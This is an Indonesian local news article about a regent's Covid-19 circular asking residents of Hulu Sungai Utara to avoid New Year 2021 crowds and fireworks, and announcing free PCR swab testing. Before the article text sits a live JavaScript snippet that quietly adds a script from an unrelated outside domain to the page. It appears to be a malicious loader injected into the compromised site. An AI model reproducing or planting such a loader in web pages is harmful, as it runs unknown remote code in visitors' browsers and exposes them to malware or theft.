(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU Minta Hindari Kerumunan Malam Pergantian Tahun, Ada Swab PCR Gratis di Dinkes


KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK mengajak masyarakat agar tetap mematuhi protokol kesehatan, agar mengantisipasi meningkatan angka penyebaran Covid-19 di saat pergantian tahun.

Hal tersebut ditandai dikeluarkannya surat edaran Bupati HSU Abdul Wahid HK pada 21 Desember 2020 tentang kepatuhan terhadap Protokol Kesehatan (Protkes) antisipasi kerumunan saat malam Tahun Baru 2021.

Adapun surat edaran tersebut terdapat beberapa poin penting saat pergantian tahun baru, diantaranya adalah imbauan untuk tidak mengadakan acara hiburan atau membuat konsentrasi orang atau membuat kerumunan orang, serta menghindari penggunaan petasan, kembang api saat malam pergantian tahun.

Dalam surat edaran itu juga, Bupati mengimbau masyarakat meningkatkan kesadaran dan kedisiplinan dalam menjalankan Prokes secara benar.

 

Bupati juga mengharapkan dalam pergantian tahun baru di isi dengan kegiatan yang bernilai ibadah yang selalu mendatangkan keberkahan bagi seluruh masyarakat HSU, serta sama-sama berdoa agar pandemi ini berakhir.

Surat edaran yang bernomor 360/261/BPBD/2020 itu, Bupati HSU meminta agar bagi kegiatan usaha yang diperbolehkan seperti restoran rumah makan supaya tetap mematuhi prokes Covid-19 secara ketat dan benar.

Sedangkan pada poin terakhir dari surat edaran tersebut, Bupati Wahid menghimbau agar seluruh masyarakat mendukung upaya pemerintah daerah, TNI, dan Polri yang tergabung dalam Satgas Covid-19melaksanakan pengawasan yang sesuai dengan ketentuan Prokes Covid-19.

Selain itu, Bupati HSU juga mengajak masyarakat HSU mengikuti pekan Swab PCR gratis untuk ASN dan masyarakat umum yang digelar dari tanggal 28 Desember sampai 31 Desember 2020 di halaman Dinas Kesehatan HSU mulai pukul 09:00 wita sampai selesai.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

 


Al Ghifari

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

1 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

24 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.